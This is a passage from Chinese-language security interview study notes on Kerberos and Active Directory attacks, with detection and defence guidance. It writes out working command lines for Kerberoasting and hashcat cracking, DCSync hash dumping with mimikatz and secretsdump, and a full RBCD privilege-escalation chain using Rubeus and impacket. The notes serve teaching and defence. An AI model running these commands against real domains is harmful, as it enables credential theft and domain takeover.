    • AS(Authentication Service,认证服务)=售票窗口:验明你是谁,卖给你一张“一日通行证(TGT)”。
    • TGS(Ticket Granting Service,票据授权服务)=项目预约窗口:你拿着一日通行证,它给你开某个具体项目的“项目票(TGS/ST)”。
  • TGT(Ticket Granting Ticket)=一日通行证。证明你已经验过身份了,但不能玩任何项目。
  • TGS / ST(Service Ticket)=某个项目的票。拿着它才能去玩过山车。
  • SPN(Service Principal Name)=项目的名字,比如“过山车.MYSQL.游乐园”。预约时必须说清楚要玩哪个。
  • PAC(Privilege Attribute Certificate)=票背面印的会员等级(金卡/银卡/普通)。服务方看它判断你能不能走 VIP 通道——不看票本身,只看背面。

完整六步(三阶段)

═══ 阶段一:AS-REQ / AS-REP —— 拿一日通行证(每天上班第一次登录时做一次)═══

 ① 客户端 ──── AS-REQ ────→ KDC 的 AS 窗口
      "我是 zhangsan,我想买一日通行证"
      ★ 内容里有一个用 zhangsan 的密码 Hash 加密的时间戳
        (不传密码,传"用密码加密的时间戳"来证明"我知道密码")
                                  ↓
                          KDC 查数据库取出 zhangsan 的 Hash
                          用它解密时间戳,解开了 = 密码对
                                  ↓
 ② 客户端 ←──── AS-REP ───── KDC
      返回两样东西:
        (a) TGT —— 用 krbtgt 账号的 Hash 加密
            ★ krbtgt 是 KDC 自己的"印章",只有 KDC 能开
            内容:客户端名、会话密钥、有效期、PAC(会员等级)
        (b) 会话密钥 —— 用 zhangsan 的 Hash 加密,只有 zhangsan 能解开

═══ 阶段二:TGS-REQ / TGS-REP —— 换项目票(每访问一个新服务做一次)═══

 ③ 客户端 ──── TGS-REQ ────→ KDC 的 TGS 窗口
      "我要玩『过山车』,这是我的 TGT"
      附带一个用会话密钥加密的时间戳(证明 TGT 是我本人的)
                                  ↓
                          KDC 用自己的 krbtgt Hash 解开 TGT
                          ★ 注意:KDC 不会去查"你有没有权限玩这个项目"
                            它只看 TGT 是不是真的
                          KDC 查 SPN = "过山车" 对应哪个服务账号
                                  ↓
 ④ 客户端 ←──── TGS-REP ───── KDC
      返回 TGS(服务票据),用【服务账号的 Hash】加密
      ★ 这个细节是整个 Kerberoasting 攻击的根(见 G6)

═══ 阶段三:AP-REQ / AP-REP —— 去玩项目 ═══

 ⑤ 客户端 ──── AP-REQ ────→ 目标服务(比如文件服务器)
      "我要访问你,这是我的服务票据"
                                  ↓
                          服务用自己的密码 Hash 解开票据
                          读取里面的 PAC,看会员等级
                          ★ 服务【不联系域控】验证,自己验票就够了
                                  ↓
 ⑥ 客户端 ←──── AP-REP ───── 服务(可选,双向认证时)
      "收到,我也证明一下我是真的过山车"

★ 三个必须记住的关键设计(每个都对应一个攻击)

设计 内容 对应的攻击
TGS 用服务账号 Hash 加密 KDC 不知道服务账号的明文,只能用它的 Hash 加密票据 Kerberoasting:任何人都能申请票据,拿回来离线爆破服务账号密码
TGT 用 krbtgt Hash 加密 拿到 krbtgt 的 Hash,就能自己签发任意 TGT 黄金票据:伪造任何人的身份,有效期和权限随便写
服务不联系域控验票 服务自己用 Hash 解密票据就够了 白银票据:拿服务账号 Hash 自己造票,域控完全不知道

★ 第三个设计还有个更隐蔽的漏洞:PAC 可以被“不验证”

正常情况下,服务应该拿票据里的 PAC 去域控“验一下这个会员等级是不是真的”(PAC Validation)。但这个验证默认是关闭的——服务直接信任票据里写的 PAC。

这就是白银票据能伪造“我是一台服务器,我能做 DCSync”这类操作的原理的一部分。

面试话术(★ 这段要背下来)

“Kerberos 我一般用游乐园来类比。域控就是游客服务中心,里面有两个窗口:认证服务 AS 相当于售票窗口,验明身份后给你一张一日通行证 TGT;票据授权服务 TGS 相当于项目预约窗口,你拿着 TGT 去换某个具体项目的票。

完整流程六步:第一步客户端向 AS 发请求,里面带一个用自己密码 Hash 加密的时间戳来证明身份;第二步 AS 返回 TGT,这个 TGT 是用 krbtgt 账号的 Hash 加密的,只有 KDC 自己能开。第三步客户端拿着 TGT 去 TGS 窗口说我要访问某某服务;第四步 TGS 返回服务票据,★ 注意这个票据是用服务账号的 Hash 加密的。第五步客户端拿这个票去访问服务,服务用自己的密码 Hash 解开,读里面的 PAC 判断权限,★ 整个过程服务不需要联系域控。

这三个设计细节各对应一个攻击:TGS 用服务账号 Hash 加密 → Kerberoasting 可以离线爆破;TGT 用 krbtgt Hash 加密 → 拿到 krbtgt 就能做黄金票据;服务不联系域控验票 → 拿到服务账号 Hash 就能做白银票据,而且域控完全无感知。

所以防守上对应的动作也很清楚:服务账号用超长随机密码或者 gMSA 托管、保护好 krbtgt、开启 PAC 验证。“


G6|什么是 SPN?Kerberoasting 为什么能离线破解服务账号密码?(难度 ★★★☆)

一句话定义

SPN(Service Principal Name,服务主体名称)=服务实例的唯一标识符。Kerberos 用它来把“我要访问的这个服务”映射到“用哪个账号的密码来加密票据”。

SPN 长什么样

格式:<service class>/<host>:<port>/<service name>

MSSQLSvc/sql01.corp.local:1433          ← SQL Server
HTTP/web01.corp.local                   ← Web 服务(跑在 IIS 上)
CIFS/fileserver.corp.local              ← 文件共享
HOST/dc01.corp.local                    ← 主机服务
ldap/dc01.corp.local                    ← LDAP

★ 关键点:注册 SPN 的这个账号(通常是服务账号),它的密码 Hash 就是加密服务票据的密钥。

Kerberoasting 的三个设计缺陷(★ 面试核心)

缺陷一:任何域用户都能申请任意服务的票据
  Kerberos 里"申请票据"和"使用票据"是两回事。
  KDC 在发 TGS 时【只检查你的 TGT 是不是真的】,
  【不检查你有没有权限访问这个服务】。
  → 一个刚入职的实习生也能为域管的 SQL 服务申请票据。

缺陷二:TGS 用服务账号的密码 Hash 加密
  攻击者拿到票据后,可以拿到自己电脑上慢慢爆破,
  因为加密强度取决于【服务账号的密码强度】。

缺陷三:服务账号的密码通常是人设的,而且常年不改
  "SqlService@2018"、"Svc_Backup123" 这种密码
  在 hashcat + 字典面前几分钟就破。
  而且服务账号往往【权限很高】(很多直接是域管组)。

攻击五步

# ① 找有 SPN 的账号(不需要任何特权,普通域用户即可)
GetUserSPNs.py -request -dc-ip 10.0.0.1 corp.local/zhangsan
# 或 Rubeus.exe kerberoast /stats
# 或 原生:setspn -Q */*

# ② 申请票据并导出为可破解的格式($krb5tgs$23$*...)
#    GetUserSPNs.py 加 -request 会自动请求并输出

# ③ 离线爆破
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
#     -m 13100 = Kerberos 5 TGS-REP etype 23(RC4-HMAC)
#     -m 19700 = AES128-CTS-HMAC-SHA1-96(etype 17)
#     -m 19800 = AES256-CTS-HMAC-SHA256      (etype 18)

# ④ 破解成功 → 拿到服务账号明文密码
# ⑤ 看这个账号属于哪些组 → 很可能直接是域管

六项防御(★ 面试重点)

优先级 措施 说明
★★★★★ 服务账号密码 ≥ 25 位随机 hashcat 对 25 位随机密码实际不可破(即使用全量字典也要几百年)。这是最有效的一条
★★★★★ 用 gMSA(组托管服务账号) 密码由 AD 自动管理,120 位随机 + 自动定期更换,且没人知道。★ 这是微软给出的正解
★★★★ 服务账号绝不加域管组 遵循最小权限。破解了服务账号也只是个普通账号
★★★ 加密类型升级到 AES 从 RC4(etype 23)切到 AES256(etype 18),破解成本提高几个数量级
★★★ 监控 Event 4769 筛选 Ticket Encryption Type = 0x17(RC4) 的请求——正常环境基本都用 AES,出现 RC4 就是可疑
★★ 定期审计 SPN 删掉没人用的 SPN;检查服务账号的密码最后修改时间

★ 为什么 gMSA 是正解?

普通服务账号:
  管理员设密码 → 密码存在某处 → 可能被偷 → 可能强度不够 → 需要定期手动改
  ↑ 每个环节都是风险

gMSA(Group Managed Service Account):
  AD 自动生成 120 位随机密码 → 定期自动轮换 → 【任何人都不知道明文】
  → 没人能偷(因为没人知道)、没人能弱口令、不用手动改
  ↑ 从根上消灭了"服务账号密码被破解"这个问题

面试话术

“SPN 是服务的唯一标识,Kerberos 靠它把’我要访问的服务’映射到’用哪个账号的密码加密票据’。

Kerberoasting 能成立有三个原因:第一,Kerberos 里申请票据和使用票据是分开的,KDC 发 TGS 时只验证你的 TGT 是不是真的,不检查你有没有权限访问这个服务,所以任何域用户都能为任何服务申请票据。第二,TGS 是用服务账号的密码 Hash 加密的,我可以拿回自己机器上无限次离线爆破,不会触发任何告警。第三,现实里服务账号密码往往是人设的、强度不高、常年不改,而且权限还特别高。

防御上最有效的不是监控,而是让爆破变得不可行。两条路:一是服务账号密码设成 25 位以上的随机串,hashcat 实际上破不出来;二是用 gMSA 组托管服务账号,密码由 AD 自动生成 120 位随机、定期轮换、而且任何人都不知道明文——这一条是从根上解决问题。

另外监控上有个很实用的规则:筛选 Event 4769 里加密类型是 RC4(0x17)的票据请求。正常环境客户端和服务端都支持 AES,很少会用 RC4,出现 RC4 基本就是攻击者在申请票据准备破解。“


G7|黄金票据和白银票据有什么区别?(难度 ★★★☆)

一句话答案

黄金票据(Golden Ticket) 白银票据(Silver Ticket)
需要的 Hash krbtgt 账号的 Hash 目标服务账号的 Hash(如 MSSQLSvc 的账号、机器账号)
伪造的东西 TGT(一日通行证) TGS(某个项目的票)
权限范围 整个域的任意服务(因为 TGT 能换任何 TGS) 只能访问那一个服务(伪造的 TGS 只对指定 SPN 有效)
是否联系域控 要(拿伪造 TGT 去换 TGS,会产生 4769) 不联系(直接拿伪造 TGS 去访问服务)
★ 域控完全无感知
检测难度 中(有 4769 日志,可查异常加密类型) 高(域控侧没有任何日志)
有效期 可随便写(常见 10 年) 可随便写
典型检测特征 4769 中加密类型异常、账号名与实际不符 4624 有登录,但 4769 没有对应的票据请求 ★
清除方式 重置 krbtgt 两次 重置对应服务账号密码(或机器账号密码)

★ 最重要的两个检测点(面试必答)

黄金票据:
  域控的 Event 4769(请求服务票据)里
  - 加密类型异常(RC4 而非 AES)
  - 或者请求方账号已经被禁用/删除,却还在申请票据
  - 或者会话密钥长度异常

白银票据:
  ★ 目标机器上 Event 4624(成功登录)有一条登录记录
  ★ 但域控上【找不到对应的 Event 4769】(票据请求)
  → "有登录,没票据" = 有人直接拿假票来了
  这是白银票据最经典的检测特征,一定要记住

★ 为什么重置 krbtgt 要两次?间隔多久?

原因:krbtgt 账号的 Hash 有【当前】和【上一份】两个版本(密码历史 = 2)
  - 重置一次:新 Hash 生效,但旧 Hash 还在"上一份"里,旧黄金票据【依然有效】
  - 重置两次:旧 Hash 被彻底挤出历史,旧黄金票据才失效

间隔:微软官方建议 ≥ 10 小时(要大于 Kerberos 票据的最大生命周期,默认 10 小时)
      实务上一般建议 10 ~ 24 小时
      ★ 但别忘了:重置一次后旧票据还能用到票据过期(默认 10 小时)
        所以真正的"完全失效" = 第二次重置 + 等待 10 小时

验证:repadmin /showobjmeta . "CN=krbtgt,CN=Users,DC=corp,DC=local"
      看 msDS-KeyVersionNumber,重置两次后应该 +2
      并且要确认【所有域控都同步完成】

⚠️ 风险:间隔太短会导致【客户端票据缓存失效】、部分服务认证中断
   → 生产环境务必在变更窗口操作,并提前通知

面试话术

“黄金和白银票据的核心区别在于伪造的是哪一层的票,以及用的谁的 Hash。

黄金票据伪造的是 TGT,用的是 krbtgt 这个账号的 Hash——krbtgt 是 KDC 用来加密 TGT 的密钥,拿到它就等于拿到了域的印章,可以给自己签发任意身份、任意权限、任意有效期的 TGT,进而用它换到任何服务的票据。清除必须重置 krbtgt 两次,因为 krbtgt 保存了两份历史 Hash,只重置一次旧票据还有效;两次之间要间隔 10 到 24 小时,大于票据默认 10 小时的最大生命周期。

白银票据伪造的是 TGS,用的是某个具体服务账号的 Hash,比如 SQL 服务账号或者机器账号。它只能访问那一个服务,但★ 它不需要联系域控——服务自己验票就够了——所以域控上一点日志都没有。

检测上两者差别很大。黄金票据会在域控留下 4769,可以查加密类型异常;白银票据域控侧完全没日志,只能靠对账发现:目标机器上有 4624 登录成功,但域控上找不到对应的 4769 票据请求——‘有登录、没票据’,这就是白银票据最经典的检测特征。“


G8|什么是 BloodHound?它收集的是什么数据?防守方怎么用?(难度 ★★★)

一句话定义

BloodHound=Active Directory 权限关系的图数据库分析工具。它把域内“谁能控制谁”的关系画成一张图,然后用图算法自动算出从普通用户到域管的最短攻击路径。

通俗说:它是域权限的“关系图谱 + 导航软件”。以前攻防靠人肉猜,现在输入起点终点,它直接给你路线图。

生活类比

公司有 5000 人、3000 台机器、无数个组和权限。 你想知道“我从实习生开始,几步能混进董事会”,靠翻花名册是不可能的。 BloodHound 就是把这个公司所有人的汇报关系、代签权限、门禁授权全部录进地图软件, 然后你点“导航”,它告诉你:实习生 → 组长(能改他的密码)→ 部门总监(能管他的机器)→ 董事助理 → 董事会。

三个核心概念

概念 说明 例子
节点(Node) 域里的对象 用户、组、计算机、域、GPO、OU、ACL
边(Edge / 关系) 一个对象对另一个对象的“控制权” MemberOf(属于某组)、AdminTo(是某机器管理员)、GenericAll(完全控制)、ForceChangePassword(强制改密码)、DCSync、CanRDP、HasSession(在这台机器上有会话)
路径(Path) 从起点到终点的边的组合 zhangsan → [MemberOf] → IT支持组 → [AdminTo] → FILE01 → [HasSession] → 域管 → [MemberOf] → Domain Admins

★ HasSession 这条边为什么是“捷径”?

HasSession 表示“用户 A 在机器 B 上有一个活动会话”(比如域管远程桌面连了 FILE01 还没注销)。

这意味着:如果我能控制 FILE01,我就能偷到域管的令牌/凭据。

所以 BloodHound 里那些“域管会话所在的机器”就是最短路径的跳板——这是攻击者最优先的目标,也是防守方最该保护的机器。

采集与导入

# 采集(Windows,用 SharpHound)
SharpHound.exe --CollectionMethod All --Domain corp.local --Outfile C:\temp\bh.zip

# CollectionMethod 常用组合:
#   Default     = Group + LocalAdmin + Session + ACL + Trusts(默认,够用)
#   All         = 全部(★ 会触发更多告警)
#   DCOnly      = 只用 LDAP 查域控,最安静(不出网到普通机器)
#   SessionOnly = 只采集会话(噪音最低,用于持续观察)
# 采集(Linux / 无 Windows 工具时,用 Python 版)
bloodhound-python -d corp.local -u zhangsan -p 'Password' -ns 10.0.0.1 -c All
# ★ -ns 指定 DNS 服务器(域控),否则可能解析不了
导入:打开 BloodHound(需要 neo4j + BloodHound GUI)
     → 上传 zip
     → 在 "Analysis" 标签页跑内置查询

10 个最有用的内置查询(攻击者视角)

  1. Find Shortest Paths to Domain Admins —— 到域管的最短路径(★ 第一个就跑这个)
  2. Find Principals with DCSync Rights —— 谁能 DCSync(不该有很多)
  3. Find Computers where Domain Users are Local Admin —— 哪些机器域用户是本地管理员(★ 最大面积的问题)
  4. Find Kerberoastable Users —— 可以 Kerberoasting 的账号
  5. Find AS-REP Roastable Users —— 不需要预认证的账号
  6. Find Unconstrained Delegation —— 非约束委派的机器(★ 高风险)
  7. Find Shortest Paths to Unconstrained Delegation Systems
  8. Find Domain Admin Logons —— 域管登录过哪些机器
  9. Find Users with Foreign Domain Group Membership
  10. Find Shortest Paths from Owned Principals —— 从你已控制的账号出发能到哪

8 条实战 Cypher(进阶)

// ① 哪些机器上有域管会话(★ 最高价值目标)
MATCH (c:Computer)-[:HasSession]->(u:User)
WHERE u.admincount = true
RETURN c.name, count(u) AS adminSessions ORDER BY adminSessions DESC

// ② 域用户对哪些机器有本地管理权限
MATCH (g:Group)-[:AdminTo]->(c:Computer)
WHERE g.name CONTAINS 'DOMAIN USERS'
RETURN c.name

// ③ 谁对我标记的"已控制"节点有路径
MATCH p = shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

// ④ 有 DCSync 权限但不在域管组的账号(★ 异常,可能是后门)
MATCH (u:User)-[:DCSync]->(d:Domain)
WHERE NOT u.name CONTAINS 'DOMAIN ADMINS'
RETURN u.name, u.enabled

// ⑤ 找出所有"能改别人密码"的关系
MATCH (a)-[:ForceChangePassword]->(b) RETURN a.name, b.name

// ⑥ 非约束委派的机器
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

// ⑦ 被加了 SID History 的账号(★ 可能是 SID History 后门)
MATCH (u:User) WHERE u.sidhistory <> [] RETURN u.name, u.sidhistory

// ⑧ 从"域用户"组出发到域管的路径长度分布
MATCH p = shortestPath((g:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[*1..]->(d:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN length(p)

★ 防守方怎么用(这是面试官最爱听的部分)

BloodHound 不是攻击工具,它是“权限治理工具”。防守用法分三步:

第一步:体检
  跑 BloodHound,看"到域管的最短路径"有多少条。
  健康环境:应该只有 2~3 条,且都是明确的运维路径。
  不健康环境:几十上百条,说明权限早已失控。

第二步:砍路径
  按优先级砍掉这些边:
    ① 域用户对普通机器的本地管理员权限(★ 影响面最大,通常几百台)
    ② Kerberoastable 的服务账号(改 gMSA 或加长密码)
    ③ AS-REP Roastable 的账号(取消 DONT_REQ_PREAUTH)
    ④ 非约束委派(改成约束委派或 RBCD)
    ⑤ 过度的 ACL 授权(GenericAll / GenericWrite / ForceChangePassword)
    ⑥ 老旧的、没人认领的高权限账号(★ 常常是离职员工的)

第三步:常态化
  每月跑一次,对比路径数量的变化。
  ★ 把"最短路径条数"做成一个安全指标持续跟踪。

分层模型(Tier Model)——防守的顶层设计

Tier 0(最高敏感):域控、AD 本身、PKI、所有能管理域的账号和机器
  规则:Tier 0 账号【只能登录 Tier 0 机器】
        ★ 域管绝对不能登录办公机、不能浏览网页、不能收邮件

Tier 1(服务器):应用服务器、数据库、中间件
  规则:Tier 1 账号只能登录 Tier 1 机器

Tier 2(终端):办公机、笔记本
  规则:普通用户账号

★ 铁律:高 Tier 的账号【不能】登录低 Tier 的机器
  违反这一条,攻击者从办公机就能抓到域管凭据,整个分层就白做了

配合 Protected Users 安全组(域管必加):

保护项 效果
禁止 NTLM 不能 PTH
禁止 DES / RC4 Kerberos 不能 Kerberoasting 破解
TGT 有效期 4 小时 抓到的票据很快失效
禁止委派 不能被委派攻击
禁止离线缓存凭据 减少凭据落盘

面试话术

“BloodHound 本质是把 Active Directory 的权限关系存进图数据库,然后用图算法算’从 A 到 B 的最短攻击路径’。它采集三类东西:节点(用户、组、机器、GPO、域)、边(MemberOf、AdminTo、GenericAll、HasSession 这些控制权关系)、以及会话数据。

里面最有价值的一条边是 HasSession——它记录’某个用户在某台机器上有活动会话’。如果域管远程桌面连了某台文件服务器没注销,这台机器就成了跳板:控制了它就能偷域管的凭据。所以攻击者优先找域管会话所在的机器,防守方优先保护这些机器。

★ 但我想强调的是,BloodHound 对防守方的价值其实比攻击方更大。我们用它做三件事:一是体检,看到域管的最短路径有多少条,健康环境应该只有两三条,不健康的能有上百条;二是砍路径,按优先级消掉域用户对机器的本地管理员权限、Kerberoastable 账号、非约束委派这些;三是常态化,每月跑一次跟踪路径条数的变化,把它做成一个安全指标。

顶层设计上配合分层模型:Tier 0 是域控和 AD 本身,Tier 1 是服务器,Tier 2 是办公终端,铁律是高 Tier 的账号不能登录低 Tier 的机器。再加一条:所有域管加入 Protected Users 组,这会禁用 NTLM、禁用 RC4、把 TGT 有效期压到 4 小时,能挡掉一大半攻击手法。“


G9|什么是 DCSync?为什么它需要高权限?怎么检测和防御?(难度 ★★★★)

一句话定义

DCSync=伪装成域控,利用 AD 的“目录复制”正常功能,把域内所有用户的密码 Hash 拉取回来。

它不是漏洞,是被滥用的正常功能。这是本题最大的考点。

原理:域控之间本来就要同步数据

一个域有多台域控,它们之间怎么保持一致?靠**目录复制(Directory Replication)**协议。一台域控对另一台说“我是域控,把变更数据同步给我”,对方验证权限后就给。

攻击者发现:我只要有“复制权限”,也可以发起这个请求,域控根本分不清我是不是真域控。

三个必需的扩展权限

DS-Replication-Get-Changes          (复制变更)
DS-Replication-Get-Changes-All      (复制全部变更)
DS-Replication-Get-Changes-In-Filtered-Set(复制被过滤的属性,可选)

对应的三个 GUID:
  1131f6aa-9c07-11d1-f79f-00c04fc2dcd2   → Get-Changes
  1131f6ad-9c07-11d1-f79f-00c04fc2dcd2   → Get-Changes-All
  89e95b76-444d-4c62-991a-0facbeda640c   → Get-Changes-In-Filtered-Set

为什么需要高权限

这三个权限默认只授予:

Domain Admins        (域管组)
Enterprise Admins    (企业管理员组)
Administrators       (管理员组)
Domain Controllers   (域控机器账号)

但是——现实中经常因为“某个应用需要同步 AD”而单独给某个服务账号授予了这些权限。这些账号就是攻击者的最佳目标(权限没那么高,但能 DCSync)。

攻击命令

# mimikatz(需要域管或等价权限)
lsadump::dcsync /domain:corp.local /user:krbtgt     # 只要 krbtgt(做黄金票据用)
lsadump::dcsync /domain:corp.local /all /csv        # 全部用户

# impacket(Linux 上更常用)
secretsdump.py corp.local/zhangsan:'Password'@10.0.0.1 -just-dc
secretsdump.py -hashes :NT_HASH corp.local/administrator@dc01.corp.local -just-dc-user krbtgt

# ★ secretsdump 拿到的就是 ntds.dit 的等价物,可以做 PTH、黄金票据

★ DCSync vs 传统 NTDS.dit 提取的对比

DCSync ntdsutil / 卷影拷贝
是否需要在域控上执行 不需要(任意域内机器) 必须在域控上
是否需要管理员权限 需要域管或复制权限 需要域控本地管理员
是否落盘文件 否(走网络协议) 是(会产生 .dit 文件)
检测特征 域控 Event 4662(目录服务访问)+ 异常源 IP 文件操作、ntdsutil 进程、Event 8222
隐蔽性 高 中

四项检测

# ① 审计域根 ACL,找谁有复制权限(★ 最重要,日常就该做)
#    用 PowerShell 查域根的 ACL,筛选三个 GUID
$schema = [ADSI]"LDAP://CN=Schema,CN=Configuration,DC=corp,DC=local"
$root   = [ADSI]"LDAP://DC=corp,DC=local"
$root.ObjectSecurity.Access | Where-Object {
    $_.ObjectType -in @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2',
                        '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2',
                        '89e95b76-444d-4c62-991a-0facbeda640c')
} | Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType

# ② 开启目录服务访问审计,监控 Event 4662
auditpol /set /subcategory:"Directory Service Access" /success:enable
# 然后筛选:4662 里 ObjectType 是上面三个 GUID,且 SubjectUserName 不是域控机器账号

# ③ 监控非域控机器发起的复制请求
#    正常的 DCSync 源 IP 应该是【域控的 IP】
#    如果源 IP 是一台办公机 → 高可疑

# ④ 监控 mimikatz 特征(不依赖 DCSync 也能抓)
#    进程名、Image Load、LSASS 访问行为

四项防御

措施 说明
定期审计域根 ACL 每月跑一次上面的 PowerShell,确认复制权限只在该在的账号上
启用 Event 4662 审计 默认很多环境没开,开了才有日志可查
Protected Users + Tier 模型 让攻击者拿不到域管凭据(源头治理)
不要把服务账号加进高权限组 DCSync 权限绝不单独授予应用账号。如果应用确实需要读 AD,用只读域控(RODC) 或 AD LDS

面试话术

“DCSync 严格说不是漏洞,是被滥用的正常功能。域里有多台域控,它们之间靠目录复制协议同步数据,一台说’我是域控,同步给我’,另一台验权限后就给。攻击者发现只要拿到域根的复制权限(Get-Changes、Get-Changes-All 这两个扩展权限),就能伪装成域控发起同样的请求,把包括 krbtgt 在内所有用户的 Hash 拉回来。

它比传统的 ntds.dit 提取隐蔽得多:不需要在域控上操作、不产生任何文件、走的是正常网络协议。所以域控上的文件审计和进程监控都抓不到它。

检测要靠两件事:一是日常审计域根 ACL——用 PowerShell 查域根的访问控制列表,筛选那两个复制权限的 GUID,看授权给了谁。正常情况下只应该有域管组、企业管理员组、管理员组和域控机器账号,多出来任何一个都要查清楚。二是开启目录服务访问审计,监控 Event 4662,重点看发起方的源 IP 是不是域控——如果是一台办公机在发起复制请求,那基本就是 DCSync。

防御的根还是在源头上:不让攻击者拿到域管凭据,也就是分层模型和 Protected Users。“


G10|Kerberos 委派有哪三种?RBCD 的利用前提是什么?(难度 ★★★★)

一句话背景

委派(Delegation) 解决的是这个问题:用户访问 Web 应用,Web 应用需要以用户的身份去访问后端的数据库(双层跳/双跳问题)。Kerberos 允许服务“代替用户”去申请票据,这就是委派。

★ 为什么委派危险:委派本质上是“把用户的票据交给服务保管”,服务能用它冒充用户。攻击者控制了配置委派的服务,就能冒充任何人(包括域管)。

三种委派对比

非约束委派
Unconstrained
约束委派
Constrained
基于资源的约束委派
RBCD
出现版本 Windows 2000(最老) Windows 2003 Windows 2012
配置位置 机器账号的 TrustedForDelegation 服务账号的 msDS-AllowedToDelegateTo 目标资源的 msDS-AllowedToActOnBehalfOfOtherIdentity
谁能配置 域管 域管 ★ 资源自己的管理员(机器账号自己、或对该机器有写权限的人)
票据缓存 ★ 用户的 TGT 会被缓存到服务上 只缓存该服务的 TGS 只缓存指定服务的 TGS
冒充范围 任意服务 ★ 最危险 仅限 SPN 列表里的服务 仅限被授权的那个资源
Kerberos 扩展 无 S4U2Proxy S4U2Self + S4U2Proxy
典型攻击 诱使域管访问该机器 → 抓 TGT → 冒充域管 用服务账号 Hash 申请任意用户的 TGS(受限) ★ 自己加一台机器 + 配置 RBCD → 拿到目标机器的管理员
危险程度 ★★★★★ ★★★ ★★★★(配置分散,难审计)

★ 非约束委派为什么最危险(要能讲清楚)

流程:
  ① 用户(域管)访问配置非约束委派的机器(比如被攻陷的 Web 服务器)
  ② 用户出示 TGT,服务器把【用户的完整 TGT】缓存在内存里
  ③ 攻击者拿下这台机器 → 导出内存中的 TGT
  ④ 用这个 TGT 冒充域管访问【任何服务】——包括域控

★ 攻击者的常用诱饵:
  - 打印机协议(Print Spooler):让域控主动连过来(PrintNightmare / Printer Bug)
  - 发一封带 UNC 路径的邮件诱使域管访问
  - MS-RPRN 的 RpcRemoteFindFirstPrinterChangeNotification

RBCD(Resource-Based Constrained Delegation,基于资源的约束委派)——重点

★ RBCD 的设计反转(这是它危险的根本原因)

传统约束委派:
  由【服务账号 A】声明"我可以代表用户去访问 B、C、D"
  → 配置写在 A 上 → 需要域管权限才能改 A 的属性

RBCD:
  由【资源 B】声明"我信任 A 来代表用户访问我"
  → 配置写在 B 上 → 【B 自己的管理员就能改】
  → 机器账号可以改自己的 msDS-AllowedToActOnBehalfOfOtherIdentity

★ 关键推论:
  如果我在这台机器上有【本地管理员】权限(= 我能管这台机器),
  我就能配置 RBCD,让自己能冒充任何人访问这台机器。
  → 从"本地管理员"升级到"能冒充域管访问这台机器"

RBCD 六步实战(★ 面试能说出流程就加分)

# ── 前提 ──
#   ① 你对目标机器 TARGET$ 有写权限(比如你在这台机器上是本地管理员)
#   ② 域的 ms-DS-MachineAccountQuota > 0(默认 10,允许普通域用户加机器)
#   ③ 你有一个普通域用户账号

# ① 用普通域用户新建一台机器账号(默认配额允许加 10 台)
#    PowerMad(Windows)
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'P@ss1234' -AsPlainText -Force)
#    或 impacket(Linux)
addcomputer.py -method LDAPS -computer-name FAKE01$ -computer-pass 'P@ss1234' -dc-ip 10.0.0.1 'corp.local/zhangsan:Password'

# ② 在目标机器 TARGET$ 上配置 RBCD:
#    "我信任 FAKE01$ 来代表其他用户访问我"
#    = 给 TARGET$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity 写入 FAKE01$ 的 SID
Set-ADComputer TARGET -PrincipalsAllowedToDelegateToAccount FAKE01$    # 有 AD 模块时
#    无模块:用 PowerView / 直接用 .NET DirectoryEntry 改属性

# ③ 用 FAKE01$ 的凭据做 S4U2Self:
#    冒充【任意用户】(比如域管 administrator)向自己申请一张票据
Rubeus.exe s4u /user:FAKE01$ /rc4:<FAKE01的NT Hash> \
              /impersonateuser:administrator /msdsspn:CIFS/TARGET.corp.local /ptt

#    或 impacket
getST.py -spn CIFS/TARGET.corp.local -impersonate administrator \
         -dc-ip 10.0.0.1 'corp.local/FAKE01$:P@ss1234'

# ④ S4U2Proxy:拿上一步的票据,换成访问 TARGET 的 CIFS 票据
# ⑤ 注入票据(/ptt 或 export KRB5CCNAME=xxx.ccache)
# ⑥ 访问目标 —— 现在你是域管
smbclient.py -k -no-pass TARGET.corp.local
secretsdump.py -k -no-pass TARGET.corp.local     # 直接 dump 这台机器的 Hash

七项防御

优先级 措施 说明
★★★★★ 敏感账号设置“帐户敏感且不能被委派” 域管、krbtgt、服务账号必勾。这一条能挡掉绝大部分委派攻击
★★★★★ 把特权账号加入 Protected Users 组 该组默认禁止委派
★★★★ MachineAccountQuota 设为 0 ★ 直接废掉 RBCD 攻击的第二步(攻击者加不了机器)。
⚠️ 但会影响用域用户自助加机器的正常业务,要先确认
★★★ 不用非约束委派 审计并全部改成约束委派或 RBCD。非约束委派在现代 AD 里没有任何必要
★★★ 定期审计委派配置 查 TrustedForDelegation、msDS-AllowedToDelegateTo、msDS-AllowedToActOnBehalfOfOtherIdentity
★★ 域管不能登录配置了委派的机器 防止非约束委派缓存域管 TGT
★★ 关闭 Print Spooler(不需要打印的服务器) 堵掉诱使域控主动连接的 Printer Bug
# 一键审计委派配置
# ① 非约束委派(机器)
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
# ② 非约束委派(用户,★ 也要注意,很多人漏查)
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
# ③ 约束委派
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "*"} -Properties msDS-AllowedToDelegateTo
# ④ RBCD
Get-ADComputer -Filter {msDS-AllowedToActOnBehalfOfOtherIdentity -ne "*"} `
               -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
# ⑤ 检查 MachineAccountQuota
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName |
  ForEach-Object { (Get-ADObject $_ -Properties ms-DS-MachineAccountQuota).'ms-DS-MachineAccountQuota' }

面试话术

“Kerberos 委派解决的是’双跳’问题——用户访问 Web 应用,Web 应用要以用户身份访问后端数据库。委派就是让服务能’代表用户’去申请票据。它危险是因为:委派本质上把用户的票据交给了服务,攻击者控制了配置委派的服务,就能冒充用户。

